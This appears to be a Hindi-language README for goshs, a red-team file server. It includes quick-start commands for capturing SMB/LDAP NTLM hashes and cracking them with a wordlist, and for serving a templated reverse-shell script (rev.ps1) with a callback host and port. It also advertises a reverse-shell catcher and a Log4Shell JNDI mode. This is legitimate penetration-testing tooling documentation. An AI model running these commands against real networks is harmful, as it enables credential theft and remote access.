
goshs v2.1.5
रेड टीमर्स और डेवलपर्स के लिए फीचर-रिच सिंगल-बाइनरी फ़ाइल सर्वर। HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM हैश कैप्चर · DNS/SMTP कॉलबैक · TLS · प्रमाणीकरण · शेयर लिंक। एक शक्तिशाली python3 -m http.server का विकल्प।
आप एक मध्य-आक्रमण में हैं। आपको एक फ़ाइल ट्रांसफर करनी है, SMB हैश पकड़ना है, या तुरंत HTTPS सर्वर खड़ा करना है — और python3 -m http.server काम नहीं आएगा।
goshs एक एकल-बाइनरी फ़ाइल सर्वर है जो उन पलों के लिए बनाया गया है जब आपको Python के SimpleHTTPServer से अधिक चाहिए लेकिन Apache कॉन्फ़िगर नहीं करना चाहते। HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S, बेसिक ऑथ, शेयर लिंक, DNS/SMTP कॉलबैक, NTLM हैश कैप्चर + क्रैकिंग — सब एक ही कमांड से।


डेमो
इसे स्वयं आज़माएं: demo.goshs.de

त्वरित प्रारंभ
# वर्तमान निर्देशिका को पोर्ट 8000 पर सर्व करें
goshs
# HTTPS (स्व-हस्ताक्षरित) और बेसिक ऑथ के साथ सर्व करें
goshs -s -ss -b user:password
# SMB हैश कैप्चर करें
goshs -smb -smb-domain CORP
# LDAP क्रेडेंशियल और NTLM हैश कैप्चर करें (वैकल्पिक वर्डलिस्ट क्रैकिंग के साथ)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# DNS कॉलबैक पकड़ें और ईमेल प्राप्त करें
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# 2 घंटे के बाद स्वयं-नष्ट हो जाएं
goshs --ttl 2h
# इंटरैक्टिव टर्मिनल डैशबोर्ड के साथ चलाएं (हेडलेस SSH सत्रों के लिए बढ़िया)
goshs --tui
# पेलोड को सर्व करें जो डाउनलोड के समय स्वचालित रूप से आपका कॉलबैक होस्ट/पोर्ट भर दें
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# रेंडर किया गया प्राप्त करें: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
दस्तावेज़ीकरण
विस्तृत दस्तावेज़ीकरण के लिए docs.goshs.de पर जाएं
विशेषताएं
| 📁 फ़ाइल संचालन | डाउनलोड (HTTP Range के माध्यम से रिज्यूमेबल और सीकेबल), अपलोड (ड्रैग और ड्रॉप, POST/PUT), डिलीट, बल्क ZIP, QR कोड |
| 🔌 प्रोटोकॉल | HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S |
| 🔒 प्रमाणीकरण और सुरक्षा | बेसिक ऑथ, सर्टिफिकेट ऑथ, TLS (स्व-हस्ताक्षरित, Let's Encrypt, कस्टम सर्ट), IP व्हाइटलिस्ट, फ़ाइल-आधारित ACL |
| ⚙️ सर्वर मोड | केवल-पढ़ने, केवल-अपलोड, कोई-डिलीट नहीं, साइलेंट, अदृश्य, CLI कमांड निष्पादन, TTL स्व-विनाश |
| 🔗 शेयर लिंक | टोकन-आधारित शेयरिंग, डाउनलोड सीमा, समय सीमा |
| 🎯 सहयोग / CTF | DNS सर्वर, SMTP सर्वर, SMB NTLM हैश कैप्चर + क्रैकिंग, LDAP क्रेडेंशियल कैप्चर + NTLM हैश क्रैकिंग (Log4Shell के लिए JNDI मोड), रीडायरेक्ट एंडपॉइंट, रिवर्स शेल कैचर + पेलोड जनरेटर |
| 🧩 पेलोड टेम्प्लेटिंग | सर्व की गई फ़ाइलों में {{.LHOST}}/{{.LPORT}} + कस्टम --tpl-var वैल्यू को मांग पर रेंडर करें (?tpl) |
| 🔔 एकीकरण | वेबहुक, localhost.run के माध्यम से टनल, कॉन्फ़िग फ़ाइल, JSON API, mDNS |
| 🖥️ TUI डैशबोर्ड | इंटरैक्टिव फुल-स्क्रीन टर्मिनल डैशबोर्ड; HTTP, DNS, SMB, LDAP, SMTP, रिवर्स शेल और क्लिपबोर्ड के लिए लाइव पैन; टर्मिनल से शेल अटैच और अपग्रेड करें |
| 🛠️ विविध | डार्क/लाइट थीम, क्लिपबोर्ड, सेल्फ-अपडेट, लॉग आउटपुट, फ़ाइल एम्बेड करें, विशेषाधिकार घटाएं |
स्थापना
| विधि | |
|---|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali & Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 रिलीज़ | GitHub रिलीज़ से डाउनलोड करें |
🐚 शेल ऑटो-कम्प्लीशन
goshs bash, fish, और zsh के लिए टैब कम्प्लीशन इंस्टॉल कर सकता है:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
macOS पर Homebrew के साथ सही Homebrew पथ स्वचालित रूप से उपयोग किया जाता है। इंस्टॉलेशन के बाद कमांड एक सटीक सक्रियण निर्देश प्रिंट करता है, उदाहरण के लिए:
source ~/.local/share/bash-completion/completions/goshs
🔧 स्वयं बनाएं
बंडल किए गए वेब एसेट कमिटेड हैं, इसलिए एक सामान्य बिल्ड बस काम करता है:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
यदि आप JavaScript या SCSS स्रोतों को बदलते हैं, तो पहले esbuild और sass स्थापित करके एसेट को पुनः बनाएं:
make generate
go build -o goshs .
कोड योगदानकर्ता
सुरक्षा योगदानकर्ता
ये वे अद्भुत योगदानकर्ता हैं जिन्होंने goshs को और अधिक सुरक्षित बनाया ❤️
समुदाय
Discord समुदाय में शामिल हों और जुड़ना शुरू करें।
स्टार इतिहास
श्रेय
एक विशेष धन्यवाद sc0tfree को जाता है जिन्होंने अपने Python में लिखे प्रोजेक्ट updog से इस प्रोजेक्ट को प्रेरित किया।








